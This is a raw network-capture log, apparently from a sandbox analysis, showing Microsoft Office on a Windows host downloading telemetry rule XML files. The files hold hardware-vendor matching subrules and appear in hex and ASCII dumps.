2024-11-12 07:30:25 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:25 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: a5c30855-701e-0050-65a2-346767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073025Z-15869dbbcc6rnr5chC1DFWwtp400000003zg00000000d3b3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:25 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:25 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:25 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:25 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 09da145b-201e-0033-5108-32b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073025Z-16547b76f7fcrtpchC1DFW52e80000000fb00000000093bq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 07:30:25 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:26 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:26 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:26 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 87935f62-301e-0033-36a7-34fa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073026Z-17df447cdb5wrr5fhC1DFWte8n0000000c50000000002pt6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 07:30:26 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:26 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:26 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: a5c20e25-701e-0050-1ca1-346767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073026Z-15869dbbcc6sg5zbhC1DFWy5u8000000079g0000000079qy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:26 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:26 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:26 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: f6249f53-a01e-0053-16a5-348603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073026Z-17df447cdb5t94hvhC1DFWw9780000000c0000000000hq4u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:26 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:26 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:26 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 94736ed5-d01e-0082-79a1-34e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073026Z-15869dbbcc6lq2lzhC1DFWs1sn00000001c000000000b109 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:26 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:26 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:26 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 94736f86-d01e-0082-21a1-34e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073026Z-17df447cdb56mx55hC1DFWvbt400000008p0000000000c5s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:26 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:27 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:27 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: cc46dee9-d01e-007a-0efd-2cf38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073027Z-16547b76f7fp6mhthC1DFWrggn0000000fdg000000009c0f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:27 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:27 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:27 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 764b7f95-c01e-00a1-1c00-2d7e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073027Z-16547b76f7f7lhvnhC1DFWa2k00000000fa0000000001f5n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:27 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:27 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:27 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 1e45a1cf-401e-0029-3ef1-2c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073027Z-16547b76f7fwvr5dhC1DFW2c940000000f70000000007pm7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:27 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:27 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:27 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 75035ba1-b01e-005c-42fb-2c4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073027Z-16547b76f7f7lhvnhC1DFWa2k00000000fa0000000001f5q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:27 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:27 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:27 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 53e8259c-c01e-0046-51a0-342db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073027Z-15869dbbcc6lxrkghC1DFWqpdc00000007s0000000002cc5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 07:30:27 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" 